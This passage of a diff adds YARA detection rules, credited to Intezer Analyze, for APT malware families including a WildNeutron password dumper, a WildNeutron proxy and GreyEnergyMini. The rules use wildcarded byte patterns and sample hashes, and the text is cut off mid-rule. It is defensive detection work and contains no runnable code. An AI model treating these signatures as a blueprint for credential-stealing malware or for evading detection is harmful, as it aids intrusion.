+		$block_3 = { 33 ?? 48 ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 0F 84 }
+		$block_4 = { 41 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "1d3bdabb350ba5a821849893dabe5d6056bf7ba1ed6042d93174ceeaa5d6dad7" or
+		5 of them
+}
+
+rule WildNeutronPasswordDumper {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 4C ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? 44 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D ?? ?? 41 ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 83 ?? ?? 41 ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 0F 46 ?? 0F B6 ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8D ?? ?? B9 ?? ?? ?? ?? 83 ?? ?? 0F 46 ?? 0F B6 ?? ?? 89 ?? ?? ?? ?? ?? ?? 8D ?? ?? B9 ?? ?? ?? ?? 83 ?? ?? 0F 46 ?? 0F B6 ?? ?? 89 ?? ?? ?? ?? ?? ?? 8D ?? ?? B9 ?? ?? ?? ?? 83 ?? ?? 0F 46 ?? 0F B6 ?? ?? 89 ?? ?? ?? ?? ?? ?? 8D ?? ?? B9 ?? ?? ?? ?? 83 ?? ?? 0F 46 ?? 0F B6 ?? ?? 89 ?? ?? ?? ?? ?? ?? 8D ?? ?? B9 ?? ?? ?? ?? 83 ?? ?? 0F 46 ?? 0F B6 ?? ?? 89 ?? ?? ?? ?? ?? ?? 8D ?? ?? B9 ?? ?? ?? ?? 83 ?? ?? 0F 46 ?? 0F B6 ?? ?? 89 ?? ?? ?? ?? ?? ?? 8D ?? ?? B9 ?? ?? ?? ?? 83 ?? ?? 0F 46 ?? 89 ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? 8D ?? ?? 83 ?? ?? 44 ?? ?? ?? 0F B6 ?? ?? BE ?? ?? ?? ?? 8D ?? ?? 83 ?? ?? 41 ?? ?? ?? 44 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? 44 ?? ?? ?? ?? 0F B6 ?? ?? 0F B6 ?? ?? 44 ?? ?? ?? ?? 41 ?? ?? ?? 41 ?? ?? ?? 83 ?? ?? 8D ?? ?? 45 ?? ?? ?? 83 ?? ?? 8D ?? ?? 44 ?? ?? ?? 83 ?? ?? 41 ?? ?? ?? 0F 46 ?? 44 ?? ?? ?? 83 ?? ?? BA ?? ?? ?? ?? 41 ?? ?? ?? 41 ?? ?? ?? B9 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 44 ?? ?? ?? ?? ?? ?? ?? 44 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 44 ?? ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? 44 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? 4C ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? 89 ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? 89 ?? ?? ?? 0F B6 ?? ?? 89 ?? ?? ?? 0F B6 ?? ?? 89 ?? ?? ?? 0F B6 ?? ?? 89 ?? ?? ?? 0F B6 ?? ?? 89 ?? ?? ?? 0F B6 ?? ?? 89 ?? ?? ?? 0F B6 ?? ?? 89 ?? ?? ?? 44 ?? ?? ?? ?? 44 ?? ?? ?? ?? 89 ?? ?? ?? 41 ?? ?? ?? ?? ?? 89 ?? ?? ?? 41 ?? ?? 44 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 4D ?? ?? 74 }
+		$block_1 = { 0F B6 ?? ?? 44 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D ?? ?? 41 ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 83 ?? ?? 41 ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 0F 46 ?? 0F B6 ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8D ?? ?? B9 ?? ?? ?? ?? 83 ?? ?? 0F 46 ?? 0F B6 ?? ?? 89 ?? ?? ?? ?? ?? ?? 8D ?? ?? B9 ?? ?? ?? ?? 83 ?? ?? 0F 46 ?? 0F B6 ?? ?? 89 ?? ?? ?? ?? ?? ?? 8D ?? ?? B9 ?? ?? ?? ?? 83 ?? ?? 0F 46 ?? 0F B6 ?? ?? 89 ?? ?? ?? ?? ?? ?? 8D ?? ?? B9 ?? ?? ?? ?? 83 ?? ?? 0F 46 ?? 0F B6 ?? ?? 89 ?? ?? ?? ?? ?? ?? 8D ?? ?? B9 ?? ?? ?? ?? 83 ?? ?? 0F 46 ?? 0F B6 ?? ?? 89 ?? ?? ?? ?? ?? ?? 8D ?? ?? B9 ?? ?? ?? ?? 83 ?? ?? 0F 46 ?? 0F B6 ?? ?? 89 ?? ?? ?? ?? ?? ?? 8D ?? ?? B9 ?? ?? ?? ?? 83 ?? ?? 0F 46 ?? 89 ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? 8D ?? ?? 83 ?? ?? 44 ?? ?? ?? 0F B6 ?? ?? BE ?? ?? ?? ?? 8D ?? ?? 83 ?? ?? 41 ?? ?? ?? 44 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? 44 ?? ?? ?? ?? 0F B6 ?? ?? 0F B6 ?? ?? 44 ?? ?? ?? ?? 41 ?? ?? ?? 41 ?? ?? ?? 83 ?? ?? 8D ?? ?? 45 ?? ?? ?? 83 ?? ?? 8D ?? ?? 44 ?? ?? ?? 83 ?? ?? 41 ?? ?? ?? 0F 46 ?? 44 ?? ?? ?? 83 ?? ?? BA ?? ?? ?? ?? 41 ?? ?? ?? 41 ?? ?? ?? B9 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 44 ?? ?? ?? ?? ?? ?? ?? 44 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 44 ?? ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? 44 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? 4C ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? 89 ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? 89 ?? ?? ?? 0F B6 ?? ?? 89 ?? ?? ?? 0F B6 ?? ?? 89 ?? ?? ?? 0F B6 ?? ?? 89 ?? ?? ?? 0F B6 ?? ?? 89 ?? ?? ?? 0F B6 ?? ?? 89 ?? ?? ?? 0F B6 ?? ?? 89 ?? ?? ?? 44 ?? ?? ?? ?? 44 ?? ?? ?? ?? 89 ?? ?? ?? 41 ?? ?? ?? ?? ?? 89 ?? ?? ?? 41 ?? ?? 44 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 4D ?? ?? 74 }
+		$block_2 = { 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 0F B7 ?? ?? ?? 0F B7 ?? ?? ?? 0F B7 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 49 ?? ?? ?? BA ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? F2 ?? 48 ?? ?? 48 ?? ?? ?? 4C ?? ?? ?? ?? 44 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? F2 ?? 48 ?? ?? 48 ?? ?? ?? 4C ?? ?? ?? ?? 44 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? F2 ?? 48 ?? ?? 48 ?? ?? ?? 4C ?? ?? ?? ?? 44 ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9? }
+		$block_3 = { 4C ?? ?? 49 ?? ?? ?? 49 ?? ?? ?? 4D ?? ?? ?? 4D ?? ?? ?? 5? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 49 ?? ?? ?? B8 ?? ?? ?? ?? 66 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 49 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_4 = { 48 ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? 4C ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 49 ?? ?? 48 ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 49 ?? ?? 48 ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 49 ?? ?? 48 ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_5 = { 48 ?? ?? ?? ?? 5? 48 ?? ?? ?? 33 ?? 48 ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 89 ?? ?? ?? 8D ?? ?? 44 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 0F 84 }
+		$block_6 = { 48 ?? ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 33 ?? 41 ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 45 ?? ?? 33 ?? 4D ?? ?? 45 ?? ?? ?? 45 ?? ?? 0F 8E }
+		$block_7 = { 48 ?? ?? ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 0F 84 }
+		$block_8 = { 4C ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 ?? ?? 49 ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_9 = { 4C ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 ?? ?? 49 ?? ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+
+	condition:
+		hash.sha256(0, filesize) == "9e67848919e4adc9d74aee76858981465c60cc830638fe7cee97cecf4e9bebaf" or
+		hash.sha256(0, filesize) == "6f00e11ea02918c6c8d5435326ccf9f12a4cae97d8fdcc7e4a5bf1fbfd97ca0a" or
+		10 of them
+}
+
+rule WildNeutronProxy {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 0B ?? 23 ?? 23 ?? 8B ?? C1 ?? ?? 81 E? ?? ?? ?? ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? C1 ?? ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? C1 ?? ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? D1 ?? BE ?? ?? ?? ?? 8B ?? 23 ?? 0B ?? C1 ?? ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? 8B ?? 23 ?? 0B ?? C1 ?? ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? D1 ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? D1 ?? 8B ?? 83 ?? ?? 0B ?? C1 ?? ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? 8B ?? 83 ?? ?? C1 ?? ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? C1 ?? ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? C1 ?? ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? 03 ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? C1 ?? ?? 8B ?? 83 ?? ?? 0B ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? C1 ?? ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? 8B ?? D1 ?? C1 ?? ?? 23 ?? 0B ?? C1 ?? ?? 0B ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? 8B ?? ?? 89 ?? 8B ?? 83 ?? ?? C1 ?? ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? 03 ?? 8B ?? 83 ?? ?? 0B ?? 03 ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? C1 ?? ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? 03 ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? C1 ?? ?? 8B ?? 83 ?? ?? 0B ?? 03 ?? 8B ?? 83 ?? ?? 0B ?? C1 ?? ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? 03 ?? 8B ?? 83 ?? ?? 0B ?? 03 ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? 8B ?? C1 ?? ?? 23 ?? 83 ?? ?? ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? C1 ?? ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? C1 ?? ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? D1 ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? C1 ?? ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? D1 ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? 8B ?? 03 ?? D1 ?? 81 E? ?? ?? ?? ?? 0B ?? 8B ?? 23 ?? 0B ?? C1 ?? ?? 0B ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? 8B ?? ?? 83 ?? ?? ?? FF 4? ?? 83 ?? ?? ?? 89 ?? 0F 8C }
+		$block_1 = { 5? 8B ?? 5? 0F B6 ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? 0F B6 ?? ?? 5? C1 ?? ?? 0B ?? 0F B6 ?? ?? 5? 0F B6 ?? ?? C1 ?? ?? 0B ?? 0F B6 ?? ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? 5? C1 ?? ?? 0B ?? 8B ?? C1 ?? ?? 33 ?? 81 E? ?? ?? ?? ?? 33 ?? C1 ?? ?? 33 ?? 8B ?? 33 ?? 81 E? ?? ?? ?? ?? 33 ?? 33 ?? 8B ?? C1 ?? ?? 6A ?? 5? 23 ?? 8B ?? ?? ?? ?? ?? ?? 81 E? ?? ?? ?? ?? C1 ?? ?? 8B ?? C1 ?? ?? 8B ?? ?? ?? ?? ?? ?? 81 E? ?? ?? ?? ?? 0B ?? 8B ?? 23 ?? 8B ?? ?? ?? ?? ?? ?? 81 E? ?? ?? ?? ?? 03 ?? 0B ?? 8B ?? C1 ?? ?? 23 ?? 8B ?? ?? ?? ?? ?? ?? 81 E? ?? ?? ?? ?? 03 ?? 0B ?? 8B ?? C1 ?? ?? 23 ?? 8B ?? ?? ?? ?? ?? ?? 81 E? ?? ?? ?? ?? 03 ?? 0B ?? 8B ?? C1 ?? ?? 23 ?? 8B ?? ?? ?? ?? ?? ?? 8B ?? C1 ?? ?? 03 ?? 23 ?? 0B ?? ?? ?? ?? ?? ?? C1 ?? ?? 03 ?? C1 ?? ?? 23 ?? 0B ?? ?? ?? ?? ?? ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? C1 ?? ?? 23 ?? 8B ?? ?? ?? ?? ?? ?? 25 ?? ?? ?? ?? 8B ?? C1 ?? ?? 23 ?? 8B ?? ?? ?? ?? ?? ?? 81 E? ?? ?? ?? ?? 03 ?? 0B ?? 8B ?? C1 ?? ?? 8B ?? ?? ?? ?? ?? ?? 81 E? ?? ?? ?? ?? C1 ?? ?? 0B ?? 8B ?? D1 ?? 23 ?? 8B ?? ?? ?? ?? ?? ?? 81 E? ?? ?? ?? ?? 03 ?? 0B ?? 8B ?? C1 ?? ?? 23 ?? 8B ?? ?? ?? ?? ?? ?? 81 E? ?? ?? ?? ?? 03 ?? 0B ?? 8B ?? C1 ?? ?? 23 ?? 8B ?? ?? ?? ?? ?? ?? 8B ?? C1 ?? ?? C1 ?? ?? 23 ?? 0B ?? ?? ?? ?? ?? ?? C1 ?? ?? 03 ?? 23 ?? 0B ?? ?? ?? ?? ?? ?? BF ?? ?? ?? ?? C1 ?? ?? 23 ?? 0B ?? 83 ?? ?? ?? BA ?? ?? ?? ?? EB }
+		$block_2 = { 8B ?? 33 ?? 8B ?? C1 ?? ?? 83 ?? ?? 8B ?? ?? ?? ?? ?? ?? 8B ?? C1 ?? ?? 83 ?? ?? 33 ?? ?? ?? ?? ?? ?? 8B ?? C1 ?? ?? 83 ?? ?? 33 ?? ?? ?? ?? ?? ?? 83 ?? ?? 33 ?? ?? ?? ?? ?? ?? 8B ?? 31 ?? ?? C1 ?? ?? 33 ?? ?? 83 ?? ?? 8B ?? C1 ?? ?? 83 ?? ?? 8B ?? ?? ?? ?? ?? ?? 8B ?? C1 ?? ?? 83 ?? ?? 33 ?? ?? ?? ?? ?? ?? 8B ?? C1 ?? ?? 83 ?? ?? 33 ?? ?? ?? ?? ?? ?? 83 ?? ?? 33 ?? ?? ?? ?? ?? ?? 8B ?? ?? 31 ?? ?? 33 ?? ?? 8B ?? C1 ?? ?? 83 ?? ?? 8B ?? ?? ?? ?? ?? ?? 8B ?? C1 ?? ?? 83 ?? ?? 33 ?? ?? ?? ?? ?? ?? 8B ?? C1 ?? ?? 83 ?? ?? 33 ?? ?? ?? ?? ?? ?? 83 ?? ?? 33 ?? ?? ?? ?? ?? ?? 8B ?? ?? 33 ?? C1 ?? ?? 33 ?? ?? 8B ?? C1 ?? ?? 83 ?? ?? 8B ?? ?? ?? ?? ?? ?? 8B ?? C1 ?? ?? 83 ?? ?? 33 ?? ?? ?? ?? ?? ?? 8B ?? C1 ?? ?? 83 ?? ?? 33 ?? ?? ?? ?? ?? ?? 83 ?? ?? 33 ?? ?? ?? ?? ?? ?? 33 ?? FF 4? ?? 0F 85 }
+		$block_3 = { 8D ?? ?? ?? ?? ?? 8D ?? ?? A5 A5 8D ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 8D ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 8D ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 8D ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 6A ?? 5? 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? F3 ?? 8D }
+		$block_4 = { 5? 8B ?? 5? 5? 0F B6 ?? ?? 5? 0F B6 ?? ?? 5? 8D ?? ?? 0F B6 ?? C1 ?? ?? 0B ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? 0F B6 ?? ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? C1 ?? ?? 0B ?? 8B ?? C1 ?? ?? 33 ?? 25 ?? ?? ?? ?? 33 ?? C1 ?? ?? 33 ?? 8B ?? C1 ?? ?? 33 ?? 25 ?? ?? ?? ?? 33 ?? C1 ?? ?? 33 ?? 8B ?? C1 ?? ?? 33 ?? 25 ?? ?? ?? ?? 33 ?? C1 ?? ?? 33 ?? 8B ?? C1 ?? ?? 33 ?? 25 ?? ?? ?? ?? 33 ?? C1 ?? ?? 33 ?? D1 ?? 8B ?? 33 ?? 81 E? ?? ?? ?? ?? 33 ?? 33 ?? D1 ?? 89 ?? ?? C7 }
+		$block_5 = { D1 ?? 8B ?? 33 ?? ?? 5? 81 E? ?? ?? ?? ?? 33 ?? 33 ?? ?? 5? D1 ?? 8B ?? C1 ?? ?? 33 ?? 81 E? ?? ?? ?? ?? 33 ?? C1 ?? ?? 33 ?? 8B ?? C1 ?? ?? 33 ?? 81 E? ?? ?? ?? ?? 33 ?? C1 ?? ?? 33 ?? 8B ?? C1 ?? ?? 33 ?? 81 E? ?? ?? ?? ?? 33 ?? C1 ?? ?? 33 ?? 8B ?? C1 ?? ?? 33 ?? 81 E? ?? ?? ?? ?? 33 ?? C1 ?? ?? 33 ?? 8B ?? C1 ?? ?? 88 ?? 8B ?? C1 ?? ?? 88 ?? ?? 88 ?? ?? 8B ?? 8B ?? C1 ?? ?? 88 ?? ?? 8B ?? C1 ?? ?? 88 ?? ?? 8B ?? C1 ?? ?? C1 ?? ?? 88 ?? ?? 88 ?? ?? 88 ?? ?? 33 ?? C9 C3 }
+		$block_6 = { 8B ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? 33 ?? 89 ?? ?? 8D ?? ?? ?? ?? ?? AB AB AB 6A ?? AB 5? 5? 8D ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 33 ?? 66 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 5? 5? 68 ?? ?? ?? ?? 6A ?? 5? 5? FF B? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 5? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 75 }
+		$block_7 = { FF B? ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B? ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 6A ?? 6A ?? 6A ?? FF 1? ?? ?? ?? ?? 6A ?? 89 ?? ?? ?? ?? ?? 5? 66 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? FF B? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? FF B? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_8 = { 2B ?? 89 ?? ?? 88 ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? 0F B6 ?? 5? 8D ?? ?? ?? ?? ?? 5? 8B ?? 8D ?? ?? ?? ?? ?? ?? C1 ?? ?? 5? 88 ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 03 ?? ?? 83 ?? ?? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 8B ?? 88 ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? 5? }
+		$block_9 = { FF B? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? FF B? ?? ?? ?? ?? 8D ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? ?? ?? ?? 5? 6A ?? FF 1? ?? ?? ?? ?? 33 ?? 8D ?? ?? ?? ?? ?? AB AB AB AB 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 5? 89 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 5? 89 ?? ?? ?? ?? ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "1c81bc28ad91baed60ca5e7fee68fbcb976cf8a483112fa81aab71a18450a6b0" or
+		10 of them
+}
+
+rule GreyEnergyMini {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { E8 ?? ?? ?? ?? FF 4? ?? B7 ?? E0 ?? 8E ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? 89 ?? F7 ?? ?? 5? AB F3 }
+		$block_1 = { 5? 8B ?? 8B ?? ?? 8B ?? ?? 5? 8D ?? ?? 8B ?? ?? 0F BE ?? 5? 8B ?? 5? 2B ?? 5? 89 ?? ?? 5? EB }
+		$block_2 = { 0F B7 ?? ?? B9 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? 89 ?? ?? ?? ?? ?? E9 }
+		$block_3 = { 4? E8 ?? ?? ?? ?? FF 6? ?? F4 EC C0 ?? ?? 89 ?? F7 ?? BE ?? ?? ?? ?? F7 ?? 8B ?? ?? 8B ?? E9 }
